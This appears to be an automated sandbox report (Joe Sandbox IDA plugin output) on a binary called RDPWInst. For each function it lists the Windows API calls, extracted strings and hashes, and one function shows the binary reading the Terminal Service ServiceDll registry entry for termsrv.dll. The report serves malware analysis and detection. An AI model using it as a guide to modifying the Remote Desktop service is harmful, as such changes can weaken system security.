Opcode Fuzzy Hash: dc7e807bea1f66438189088f752b6e292b8bc82f638beb9f71fc88f2eaf7a259
Instruction Fuzzy Hash: AAC149627046001BE715AE7D9EC936E77899BC5326F18827FE504EB3C5DABCCE468348

Function 00408D70 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 71stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?), ref: 00408D8D
GetProcAddress.KERNEL32(?,GetLongPathNameW), ref: 00408DA4
lstrcpynW.KERNEL32(?,?,?), ref: 00408DD4
lstrcpynW.KERNEL32(?,?,?,kernel32.dll,?,?,?), ref: 00408E43

Strings

kernel32.dll, xrefs: 00408D88
GetLongPathNameW, xrefs: 00408D9B

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: lstrcpyn$AddressHandleModuleProc
String ID: GetLongPathNameW$kernel32.dll
API String ID: 682285877-568771998
Opcode ID: b8455c5fe78c2c884a1c523d091bd77d655f60f97b2ecbe02dba18575876a37c
Instruction ID: bfed53c75bae09f5f3cffe8e2e1a10a808aab42f40121fe7fe66bb66f29727bd
Opcode Fuzzy Hash: b8455c5fe78c2c884a1c523d091bd77d655f60f97b2ecbe02dba18575876a37c
Instruction Fuzzy Hash: 65213E71D10219EBDB10DBE8CA85A9EB3F9AF04344F14457BA584F72C1EB789E408B99

Function 0043C9B4 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00447324,?,?,00443D51,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043CA09

Strings

$sD, xrefs: 0043CA16
[-] OpenKey error (code , xrefs: 0043CA1B
\SYSTEM\CurrentControlSet\Services\TermService\Parameters, xrefs: 0043C9F8
%SystemRoot%\System32\termsrv.dll, xrefs: 0043CA53
ServiceDll, xrefs: 0043CA58

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID: $sD$%SystemRoot%\System32\termsrv.dll$ServiceDll$[-] OpenKey error (code $\SYSTEM\CurrentControlSet\Services\TermService\Parameters
API String ID: 1452528299-1418523706
Opcode ID: d2f311149e027bc2624a0d6677516fc2b3f38769c85f091cbdc9e4c4a7fc29bb
Instruction ID: 567d776bcdb317a1c07dce30fb64d79162ce412928a02d635409720c7dced6b6
Opcode Fuzzy Hash: d2f311149e027bc2624a0d6677516fc2b3f38769c85f091cbdc9e4c4a7fc29bb
Instruction Fuzzy Hash: 5E1160746042049FD700FBAAED8355AB7A5DB89318F21A07FF504AB652CA396D01972D

Function 0043B48C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 52serviceCOMMON

Download Yara Rule

APIs

CloseServiceHandle.ADVAPI32(00000000,00000000,0043B52C,?,00000000,?,?,0043B6A3,?,00000000,00000000,?,00000000,00000000,00000010,00000000), ref: 0043B4BC
CloseServiceHandle.ADVAPI32(00000000,00000000,0043B52C,?,00000000,?,?,0043B6A3,?,00000000,00000000,?,00000000,00000000,00000010,00000000), ref: 0043B4D1

Strings

[-] , xrefs: 0043B4E1
$sD, xrefs: 0043B4DC
error (code , xrefs: 0043B4F3

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseHandleService
String ID: error (code $$sD$[-]
API String ID: 1725840886-1845222458
Opcode ID: cf70b5b7ebfe22217b52877715410a6f055c53433fc66062313880689f831c28
Instruction ID: e4f6fbb8d87d745fddbbf3aa76ef7c2d42e102f771b0e90c1d198fe2bf5ce7b8
Opcode Fuzzy Hash: cf70b5b7ebfe22217b52877715410a6f055c53433fc66062313880689f831c28
Instruction Fuzzy Hash: 411165B4604204AFD700FBA5C946A5EBBE9EF8C309F51807AF504DB652C738AE409A6D

Function 0041EFE0 Relevance: 7.8, APIs: 5, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd1bd09856875484954c00905d9deca0163cdd4237c815e7c02b6f8489ed4b52
Instruction ID: 2dafaf7b7fd63d2285bbc883fb865dc5d4a09b7d21a303d5748d7aa51e2b097e
Opcode Fuzzy Hash: bd1bd09856875484954c00905d9deca0163cdd4237c815e7c02b6f8489ed4b52
Instruction Fuzzy Hash: 33D18035E042599BCF10DBA9C4818FEB7B9EF49704B5080B7EC51A7251D738AD8BCB29

Function 0042E0CC Relevance: 7.6, APIs: 5, Instructions: 142COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,00000000,0042E26E), ref: 0042E12C
CharNextW.USER32(?,?,00000000,0042E26E), ref: 0042E1D4
CharNextW.USER32(?,?,00000000,0042E26E), ref: 0042E1F9
CharNextW.USER32(00000000,?,?,00000000,0042E26E), ref: 0042E211

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: 7217fcbca270de98ef8b4b4e8b85cbbd9122b6aa6dc92a8c6271a0bfb5eea1bb
Instruction ID: 1814d07402b1a7f57a8d7a3fe8506fdc05c33e5c0032e5bf9772b1ea290cc636
Opcode Fuzzy Hash: 7217fcbca270de98ef8b4b4e8b85cbbd9122b6aa6dc92a8c6271a0bfb5eea1bb
Instruction Fuzzy Hash: D5516D30B00624DFDF15EF6AD890A697BB5EF06304F8100E6E401DB3A5D778AD92CB5A

Function 00412EDC Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,00412F73,?,?,00000000), ref: 00412EF4

Part of subcall function 00412C4C: GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 00412C6A

GetThreadLocale.KERNEL32(00000000,00000004,00000000,00412F73,?,?,00000000), ref: 00412F24
EnumCalendarInfoW.KERNEL32(Function_00012E28,00000000,00000000,00000004,00000000,00412F73,?,?,00000000), ref: 00412F2F
GetThreadLocale.KERNEL32(00000000,00000003,Function_00012E28,00000000,00000000,00000004,00000000,00412F73,?,?,00000000), ref: 00412F4D
EnumCalendarInfoW.KERNEL32(Function_00012E64,00000000,00000000,00000003,Function_00012E28,00000000,00000000,00000004,00000000,00412F73,?,?,00000000), ref: 00412F58

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 55eda0c8fa878099e478bf73f67320f830a82478ca3254b52692bae57d1b1ada
Instruction ID: 92d88662b64aaf91616c62fb6041fad244e46e3b41fee23c13374d6d2d88cd2b
Opcode Fuzzy Hash: 55eda0c8fa878099e478bf73f67320f830a82478ca3254b52692bae57d1b1ada
Instruction Fuzzy Hash: 930142713007046BE301A6B1CE13F9A726CEB82718F610437F100F66C1D6BCAE2192AD

Function 00412F90 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 177threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,004131C3,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412FCB

Part of subcall function 00412C4C: GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 00412C6A

Strings

ggg, xrefs: 004130EA
eeee, xrefs: 00413116
yyyy, xrefs: 004130FA

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: f0e1bd095bade663e8df46e19b5da6729160b75494cb6633c971c77849839ccd
Instruction ID: b43ca61d4524358572b11bc7e7a437c5213401559800a2754e6fdc13831cf262
Opcode Fuzzy Hash: f0e1bd095bade663e8df46e19b5da6729160b75494cb6633c971c77849839ccd
Instruction Fuzzy Hash: 97519835B00105ABDB10EF69C8425DEB7B5EF84305B21807BA401E73AADB7CDF92965D

Function 00412D02 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 107threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,00412E17,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412D20

Strings

|\D, xrefs: 00412DD2
`\D, xrefs: 00412DAD
0\D, xrefs: 00412D61

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: LocaleThread
String ID: 0\D$`\D$|\D
API String ID: 635194068-1443555069
Opcode ID: 0cc7b5f362df3f3b22b96f6267770b75cfda245be271edcbb912247af85876fd
Instruction ID: 0f9472f532bfb6d97ff063cc401fba787666d5dde08e68930300e7878c0b733c
Opcode Fuzzy Hash: 0cc7b5f362df3f3b22b96f6267770b75cfda245be271edcbb912247af85876fd
Instruction Fuzzy Hash: 0831E871F006086BDB04DA55D891BAF73B9DB88314F65803BFA05E7382D67CED5183A8

Function 00412D04 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 106threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,00412E17,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412D20

Strings

|\D, xrefs: 00412DD2
`\D, xrefs: 00412DAD
0\D, xrefs: 00412D61

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: LocaleThread
String ID: 0\D$`\D$|\D
API String ID: 635194068-1443555069
Opcode ID: c41b53ad99340a58dd1ea3df1ca7b54c87d2f8ec0189060bbe7d6b41ea99f8a8
Instruction ID: e329392f02449b06687ba54e558461cdf4d213220e6431f4601da2913400d418
Opcode Fuzzy Hash: c41b53ad99340a58dd1ea3df1ca7b54c87d2f8ec0189060bbe7d6b41ea99f8a8
Instruction Fuzzy Hash: A631E871F006086BDB04DA45D891BAF73B9DB88314F65803BFA05E7382D67CED5183A8

Function 004114A4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 80threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,00411595), ref: 0041152C
GetDateFormatW.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,00411595), ref: 00411532

Strings

yyyy, xrefs: 00411507
, xrefs: 004114F8

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: DateFormatLocaleThread
String ID: $yyyy
API String ID: 3303714858-404527807
Opcode ID: 5e56a81e6ec8d75afdc6e5fb3bd2dd6b96c822b9e08f0a8d12efe2345fd405b1
Instruction ID: 4e3523b49621e94f0abc5fe99f3e528012799777c4c12a7b6b737367db96c017
Opcode Fuzzy Hash: 5e56a81e6ec8d75afdc6e5fb3bd2dd6b96c822b9e08f0a8d12efe2345fd405b1
Instruction Fuzzy Hash: 8F219531A00118ABD710EF55C941AEEB3FAEF48300F514077F905E72A1D6389E40C7A9

Function 0043C45C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 59COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000200,00000000,0043C52D,?,00447324,?,0043F7DC,00000000,0043FAEE,?,?,?,00447324), ref: 0043C4F1

Strings

$sD, xrefs: 0043C473, 0043C4E8, 0043C524, 0043C4C6, 0043C4D4
%ProgramFiles%, xrefs: 0043C4C1
%ProgramW6432%, xrefs: 0043C4BC

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: $sD$%ProgramFiles%$%ProgramW6432%
API String ID: 237503144-3145546840
Opcode ID: c5f063dfebfa4231b205ec39474c4c55e757e18b534536750d11f4516631b0cd
Instruction ID: dfc59d650baf98a512f6366ea296a42dbe4730e7440a0cbc8b484aecff229b80
Opcode Fuzzy Hash: c5f063dfebfa4231b205ec39474c4c55e757e18b534536750d11f4516631b0cd
Instruction Fuzzy Hash: 411184B0604168ABD714EB65CD92A9DB7B9DB48304F5140BBA205F3292DB38EE558B1C

Function 0040AEAC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00400000,CHARTABLE,0000000A,?,?,0040ADC8,?,0040EE39,00000000,0040EF55), ref: 0040AEC0
LoadResource.KERNEL32(00400000,00000000,00400000,CHARTABLE,0000000A,?,?,0040ADC8,?,0040EE39,00000000,0040EF55), ref: 0040AED7
LockResource.KERNEL32(00000000,00400000,00000000,00400000,CHARTABLE,0000000A,?,?,0040ADC8,?,0040EE39,00000000,0040EF55), ref: 0040AEE8

Part of subcall function 00415A68: GetLastError.KERNEL32(0040AEF9,00000000,00400000,00000000,00400000,CHARTABLE,0000000A,?,?,0040ADC8,?,0040EE39,00000000,0040EF55), ref: 00415A68

Strings

CHARTABLE, xrefs: 0040AEB5

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Resource$ErrorFindLastLoadLock
String ID: CHARTABLE
API String ID: 1074440638-2668339182
Opcode ID: 2576ac7df62392cdd79f5341252eb240a6292d2d2deea21fb17a0e0107b6f450
Instruction ID: 0ebed5ed6e5dda7701dd75a560580c35c1b3b1e5272f816bd12d169416f3b400
Opcode Fuzzy Hash: 2576ac7df62392cdd79f5341252eb240a6292d2d2deea21fb17a0e0107b6f450
Instruction Fuzzy Hash: 4E0180B87803018FC718EF59D8D1A9A73E9AB99320709453EE241577A1CF3C9C40DB59

Function 00419584 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 00419633
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0041964F
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 004196C6
VariantClear.OLEAUT32(?), ref: 004196EF

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: 0f680bb846408bca051d329f0f9141866d040382b2d86f627a051af50f217def
Instruction ID: d3a60771d8c98d42dda0da8010ad17e71a6e6e293320ab5b6f42a6f3f22a61d9
Opcode Fuzzy Hash: 0f680bb846408bca051d329f0f9141866d040382b2d86f627a051af50f217def
Instruction Fuzzy Hash: F7410D75A0061D9FCB61DF59CC90BD9B3FCAB48314F0055DAE549A7212DA38AFC18F64

Function 0041325C Relevance: 6.1, APIs: 4, Instructions: 113COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C,00000000,00413408), ref: 0041328F
GetModuleFileNameW.KERNEL32(?,?,00000105), ref: 004132B3
GetModuleFileNameW.KERNEL32(00400000,?,00000105), ref: 004132CE
LoadStringW.USER32(00000000,0000FFE5,?,00000100), ref: 00413369

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: b4db8f4b60a4758e302225d89cd2c63d37b5a2fd60e804dc2dc20906c96adb53
Instruction ID: 83055b0679be0c1ffa726a7bf1997f9f19e1454b2f4a6b728642dd338ff24854
Opcode Fuzzy Hash: b4db8f4b60a4758e302225d89cd2c63d37b5a2fd60e804dc2dc20906c96adb53
Instruction Fuzzy Hash: 80412070A003589FDB20EF59CC81BCAB7B9AB49304F0040FAE508E7251DB7A9E94CF59

Function 00408B08 Relevance: 6.1, APIs: 4, Instructions: 97threadCOMMON

Download Yara Rule

APIs

GetThreadUILanguage.KERNEL32(?,00000000), ref: 00408B19
SetThreadPreferredUILanguages.KERNEL32(00000004,?,?), ref: 00408B7B
SetThreadPreferredUILanguages.KERNEL32(00000000,00000000,?), ref: 00408BD8
SetThreadPreferredUILanguages.KERNEL32(00000008,?,?), ref: 00408C0B

Part of subcall function 00408AC4: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,00000000,?,?,00408B89), ref: 00408ADB
Part of subcall function 00408AC4: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,?,00408B89), ref: 00408AF8

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Thread$LanguagesPreferred$Language
String ID:
API String ID: 2255706666-0
Opcode ID: 57ba5b2eaa9ba2f7f394178960eeeee68cc8fe68392739164dda0304afca2262
Instruction ID: ba3eb85df9a642da38a4383696d7f270617e705f6d5ccbab9dd9f20305666083
Opcode Fuzzy Hash: 57ba5b2eaa9ba2f7f394178960eeeee68cc8fe68392739164dda0304afca2262
Instruction Fuzzy Hash: 5A317C70A1021A9BDB00DFE9C885AAEB3B5FF44304F00457AE991E72D1DB78AE44CB58

Function 0042FB48 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

